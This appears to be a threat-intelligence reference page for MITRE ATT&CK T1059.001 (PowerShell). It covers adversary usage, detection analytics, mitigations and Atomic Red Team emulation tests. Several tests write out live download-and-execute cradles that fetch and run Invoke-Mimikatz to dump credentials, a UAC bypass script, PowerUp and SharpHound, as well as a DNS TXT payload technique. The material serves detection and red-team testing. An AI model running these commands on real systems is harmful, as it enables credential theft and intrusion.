VOID MANTICOREG1055 ↗
Has utilized PowerShell to execute malware in victim environments.12
tfMITRE ATT&CK sub-technique
PowerShell T1059.001
sub-technique of T1059 Command and Scripting Interpreter
- Tactic
- Execution
- Platform
- Windows
- Version
- 1.5
- Created
- 09 March 2020
- Last modified
- 12 May 2026
- Contributors
- Mayuresh Dani, Qualys; Praetorian; Ross Brittain
Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.[1] Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact
85
Threat groupsTop 1%
Threat groups100th percentile · 100% of ATT&CK techniques have this many threat groups attributed or fewer.17
CampaignsTop 1%
Campaigns99th percentile · 99% of ATT&CK techniques have this many campaigns recorded or fewer.131
Tools & malwareTop 3%
Tools & malware97th percentile · 97% of ATT&CK techniques have this many tools implementing them or fewer.297
Detection rulesTop 1%
Detection rules100th percentile · 100% of ATT&CK techniques have this many detection rules written or fewer.PowerShell MITRE reference T1059.001
Top 1%of all ATT&CK techniques for number of groups
85 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Storm-0501G1053 ↗
Medusa GroupG1051 ↗
Has leveraged PowerShell for execution and defense evasion.123 Medusa Group has also utilized PowerShell to execute a bitsadmin transfer from file hosting site.4
UNC3886G1048 ↗
Has used a PowerShell script to search memory dumps for credentials.1
Storm-1811G1046 ↗
Has used PowerShell for multiple purposes, such as using PowerShell scripts executing in an infinite loop to create an SSH connection to a command and control server.1
APT42G1044 ↗
Has downloaded and executed PowerShell payloads.1
All 85 groups for this technique · 6 newest in this preview
17 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
SharePoint ToolShell ExploitationC0058 ↗
During SharePoint ToolShell Exploitation, threat actors used PowerShell to execute attacker-controlled encoded commands.1234
Pikabot Distribution February 2024C0036 ↗
Passed execution from obfuscated JavaScript files to PowerShell scripts to download and install Pikabot.1
RedDelta Modified PlugX Infection Chain OperationsC0047 ↗
Mustang Panda used LNK files to execute PowerShell commands leading to eventual PlugX installation during RedDelta Modified PlugX Infection Chain Operations.1
2022 Ukraine Electric Power AttackC0034 ↗
During the 2022 Ukraine Electric Power Attack, Sandworm Team utilized a PowerShell utility called TANKTRAP to spread and launch a wiper using Windows Group Policy.1
APT28 Nearest Neighbor CampaignC0051 ↗
During APT28 Nearest Neighbor Campaign, APT28 used PowerShell cmdlet Get-ChildItem to access credentials, among other PowerShell functions deployed.1
C0018C0018 ↗
During C0018, the threat actors used encoded PowerShell scripts for execution.12
All 17 campaigns for this technique · 6 newest in this preview
131 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
LazyWiperS9039 ↗
Has used PowerShell to enable data destruction on targeted systems.1
LP-NotesS9036 ↗
Has been downloaded and executed by PowerShell’sInvoke-WebRequest and Invoke-Expression cmdlets.1
Tsundere BotnetS9034 ↗
MuddyViperS9032 ↗
Has used PowerShell.exe to launch a reverse shell.1
PureCrypterS9019 ↗
Can execute PowerShell commands to exclude files from EDR and to self-delete.12
Shai-HuludS9008 ↗
Has utilized PowerShell Invoke-WebRequest to download and install the malicious payload.1
All 131 software entries for this technique · 6 newest in this preview
Offense vs defense T1059.001
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Range
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Campaigns · 16Sigma rules (cumulative) · 230Splunk ESCU (cumulative) · 67
first rule: 2017 Q1 · 16 of 17 campaigns plotted (Operation AkaiRyū (dated 2004) falls before the 2014 window)PowerShell detection strategy DET0455
MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Abuse of PowerShell for Arbitrary Execution
1 platform
AN1252 · Windows
Detects behavioral chains where PowerShell is launched with encoded commands, unusual parent processes, or suspicious modules loaded, potentially followed by network connections or child process spawning. Supports detection of both direct (powershell.exe) and indirect (.NET automation) invocations.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Module LoadDC0016 | WinEventLog:Sysmon | EventCode=7 |
| Process CreationDC0032 | WinEventLog:Sysmon | EventCode=1 |
| Process MetadataDC0034 | WinEventLog:PowerShell | EventCode=400, 403 |
| Command ExecutionDC0064 | WinEventLog:PowerShell | EventCode=4103, 4104, 4105, 4106 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| CommandLinePattern | Regex pattern for encoded, obfuscated, or hidden PowerShell arguments (e.g., '-enc', '-nop'). |
| ParentProcessName | Filter based on abnormal parents like Excel, WinWord, or mshta spawning PowerShell. |
| TimeWindow | Scope detection to off-hours, lateral movement timeframes, or non-maintenance windows. |
| LoadedModuleList | Tuneable to monitor rare or never-before-seen .NET assemblies tied to PowerShell abuse. |
| ScriptBlockLengthThreshold | Adjustable threshold for length of script blocks logged by Event ID 4104 (useful for filtering noise). |
2 analytics
PowerShell is a scripting environment included with Windows that is used by both attackers and administrators. Execution of PowerShell scripts in most Windows versions is opaque and not typically secured by antivirus which makes using PowerShell an easy way to circumvent security measures. This analytic detects execution of PowerShell scripts.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-PSA | Process Spawn Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| process | create | exe |
| process | create | parent_exe |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
Look for versions of PowerShell that were not launched interactively.
process = search Process:Create powershell = filter process where (exe == "powershell.exe" AND parent_exe != "explorer.exe" ) output powershell
Splunk version of the above pseudocode.
index=__your_sysmon_index__ EventCode=1 Image="C:\\Windows\\*\\powershell.exe" ParentImage!="C:\\Windows\\explorer.exe"|stats values(CommandLine) as "Command Lines" values(ParentImage) as "Parent Images" by ComputerName
EQL version of the above pseudocode.
process where subtype.create and (process_name == "powershell.exe" and parent_process_name != "explorer.exe")
DNIF version of the above pseudocode.
_fetch * from event where $LogName=WINDOWS-SYSMON AND $EventID=1 AND $App=powershell.exe NOT $ParentProcess=regex(.*explorer.exe.*)i limit 30
LogPoint version of the above pseudocode.
norm_id=WindowsSysmon event_id=1 image="*\powershell.exe" -parent_image="C:\Windows\explorer.exe"
According to ATT&CK, PowerShell can be used over WinRM to remotely run commands on a host. When a remote PowerShell session starts, svchost.exe executes wsmprovhost.exe
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-PLA | Process Lineage Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| process | create | exe |
| process | create | parent_exe |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
process = search Process:Create wsmprovhost = filter process where (exe == "wsmprovhost.exe" and parent_exe == "svchost.exe")
EQL version of the above pseudocode.
process where subtype.create and (process_name == "wsmprovhost.exe" and parent_process_name == "svchost.exe")
LogPoint version of the above pseudocode.
norm_id=WindowsSysmon event_id=1 image="*\wsmprovhost.exe" parent_image="*\svchost.exe"
Anti-virus can be used to automatically quarantine suspicious files.
Code SigningM1045
Set PowerShell execution policy to execute only signed scripts.
It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.
Execution PreventionM1038
Use application control where appropriate. PowerShell Constrained Language mode can be used to restrict access to sensitive or otherwise dangerous language elements such as those used to execute arbitrary Windows APIs or files (e.g., Add-Type).
When PowerShell is necessary, consider restricting PowerShell execution policy to administrators. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. PowerShell JEA (Just Enough Administration) may also be used to sandbox administration and limit what commands admins/users can execute through remote PowerShell sessions.
Tests22ExecutorsPowerShell 15 · cmd 6 · manual 1Need elevation4 of 22Have prerequisites7Have cleanup4Platformswindows
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Mimikatz | windows | cmd | Required | — | — | ||||||||||||||||||||||||||||||||||
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed. Input arguments
Attack command powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
GUID7537cf6a-ce7b-4293-a6b1-63e536928ca5 | ||||||||||||||||||||||||||||||||||||||||
| 02 | Run BloodHound from local disk | windows | PowerShell | — | 1 | Yes | ||||||||||||||||||||||||||||||||||
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file. Attack command import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
Cleanup command Remove-Item $env:Temp\*BloodHound.zip -Force Prerequisite SharpHound.ps1 must be located at "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1" Check if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1" GUIDb480da91-c021-4737-9a8b-c8609d2505ec | ||||||||||||||||||||||||||||||||||||||||
| 03 | Run Bloodhound from Memory using Download Cradle | windows | PowerShell | — | — | Yes | ||||||||||||||||||||||||||||||||||
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file. Attack command write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
Cleanup command Remove-Item $env:Temp\*BloodHound.zip -Force GUIDae065eed-184e-4451-bbca-0e9b247e5094 | ||||||||||||||||||||||||||||||||||||||||
| 04 | Mimikatz - Cradlecraft PsSendKeys | windows | PowerShell | Required | — | — | ||||||||||||||||||||||||||||||||||
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed. Attack command $url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
GUID69d6a0c1-6532-48a9-9b0f-f214d45a11e7 | ||||||||||||||||||||||||||||||||||||||||
| 05 | Invoke-AppPathBypass | windows | cmd | — | — | — | ||||||||||||||||||||||||||||||||||
Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ Attack command Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
GUID6d2518fb-f05a-4af2-8a51-8ca4e04e9f0e | ||||||||||||||||||||||||||||||||||||||||
| 06 | Powershell MsXml COM object - with prompt | windows | cmd | — | — | — | ||||||||||||||||||||||||||||||||||
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io Input arguments
Attack command powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
GUID6e5c1e40-5baf-4aec-9f60-9830b556679a | ||||||||||||||||||||||||||||||||||||||||
| 07 | Powershell XML requests | windows | cmd | — | — | — | ||||||||||||||||||||||||||||||||||
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io Input arguments
Attack command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
GUIDa834535a-23d5-4e38-986f-5c886cf64b9c | ||||||||||||||||||||||||||||||||||||||||
| 08 | Powershell invoke mshta.exe download | windows | cmd | — | — | — | ||||||||||||||||||||||||||||||||||
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io Input arguments
Attack command C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
GUID5f1bd670-31f1-470f-acc1-0dc364e28e04 | ||||||||||||||||||||||||||||||||||||||||
| 09 | Powershell Invoke-DownloadCradle | windows | manual | — | — | — | ||||||||||||||||||||||||||||||||||
Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts. Attack command No command — this test is a manual procedure. GUIDf7d8e5b5-a8bf-4836-b66e-11a7cedbffcf | ||||||||||||||||||||||||||||||||||||||||
| 10 | PowerShell Fileless Script Execution | windows | PowerShell | — | — | Yes | ||||||||||||||||||||||||||||||||||
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder. Attack command # Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team"" reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART))) Cleanup command Remove-Item -path C:\Windows\Temp\art-marker.txt -Force -ErrorAction Ignore Remove-Item HKCU:\Software\Classes\AtomicRedTeam -Force -ErrorAction Ignore GUIDa1d08d84-93e1-492e-b4c0-1bfd3db0b149 | ||||||||||||||||||||||||||||||||||||||||
| 11 | NTFS Alternate Data Stream Access | windows | PowerShell | — | 1 | Yes | ||||||||||||||||||||||||||||||||||
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed. Input arguments
Attack command Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
Cleanup command Remove-Item #{ads_file} -Force -ErrorAction Ignore
Prerequisite Homedrive must be an NTFS drive Check if((Get-Volume -DriveLetter $env:HOMEDRIVE[0]).FileSystem -contains "NTFS") {exit 0} else {exit 1}
Satisfy Write-Host Prereq's for this test cannot be met automatically GUID1e5274b7-f388-415c-ab59-f4a4464c531d | ||||||||||||||||||||||||||||||||||||||||
| 12 | PowerShell Session Creation and Use | windows | PowerShell | Required | 1 | — | ||||||||||||||||||||||||||||||||||
Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed. Input arguments
Attack command New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Prerequisite PSRemoting must be enabled Check Try {
New-PSSession -ComputerName #{hostname_to_connect} -ErrorAction Stop | Out-Null
exit 0
}
Catch {
exit 1
}
Satisfy Enable-PSRemoting GUID520a4dbb-fd3d-4ea8-9894-64abf6dafec7 | ||||||||||||||||||||||||||||||||||||||||
| 13 | ATHPowerShellCommandLineParameter -Command parameter variations | windows | PowerShell | — | 1 | — | ||||||||||||||||||||||||||||||||||
Executes powershell.exe with variations of the -Command parameter Input arguments
Attack command Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction StopPrerequisite The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module. Check $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}Satisfy Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force GUIDba923426-38e1-49b6-94f2-9f00f7b19e62 | ||||||||||||||||||||||||||||||||||||||||
| 14 | ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments | windows | PowerShell | — | 1 | — | ||||||||||||||||||||||||||||||||||
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied Input arguments
Attack command Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction StopPrerequisite The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module. Check $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}Satisfy Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force GUIDa0549915-3a47-4881-8f0d-d1e60969bbee | ||||||||||||||||||||||||||||||||||||||||
| 15 | ATHPowerShellCommandLineParameter -EncodedCommand parameter variations | windows | PowerShell | — | 1 | — | ||||||||||||||||||||||||||||||||||
Executes powershell.exe with variations of the -EncodedCommand parameter Input arguments
Attack command Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction StopPrerequisite The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module. Check $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}Satisfy Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force GUID01f512d0-eb96-4695-afc2-acfc038c9f59 | ||||||||||||||||||||||||||||||||||||||||
| 16 | ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments | windows | PowerShell | — | 1 | — | ||||||||||||||||||||||||||||||||||
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied Input arguments
Attack command Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction StopPrerequisite The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module. Check $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}Satisfy Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force GUIDef02d09d-04ef-44b9-91d5-0a15656fbe78 | ||||||||||||||||||||||||||||||||||||||||
| 17 | PowerShell Command Execution | windows | cmd | — | — | — | ||||||||||||||||||||||||||||||||||
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary. Input arguments
Attack command powershell.exe -e #{obfuscated_code}
GUID9f344937-8179-479a-b1dc-bc8e783d2f91 | ||||||||||||||||||||||||||||||||||||||||
| 18 | PowerShell Invoke Known Malicious Cmdlets | windows | PowerShell | Required | — | — | ||||||||||||||||||||||||||||||||||
Powershell execution of known Malicious PowerShell Cmdlets Input arguments
Attack command $malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
GUIDc8fa5392-b8cb-407e-a253-a2c222f4568c | ||||||||||||||||||||||||||||||||||||||||
| 19 | PowerUp Invoke-AllChecks | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||||||||||
Check for privilege escalation paths using PowerUp from PowerShellMafia Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing) Invoke-AllChecks GUIDbb1a440d-9b5b-451d-9f93-e0cf16bfb212 | ||||||||||||||||||||||||||||||||||||||||
| 20 | Abuse Nslookup with DNS Records | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||||||||||
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. reference Attack command # creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
GUID58a5d0fc-6c61-4983-87d8-36e27cdc4d19 | ||||||||||||||||||||||||||||||||||||||||
| 21 | SOAPHound - Dump BloodHound Data | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||||||||||
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound Input arguments
Attack command #{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
GUID257fef25-155f-4b98-83af-afd4a19da923 | ||||||||||||||||||||||||||||||||||||||||
| 22 | SOAPHound - Build Cache | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||||||||||
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound Input arguments
Attack command #{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
GUIDc31dcfaa-0b87-464d-a291-bb8da74d0f13 | ||||||||||||||||||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition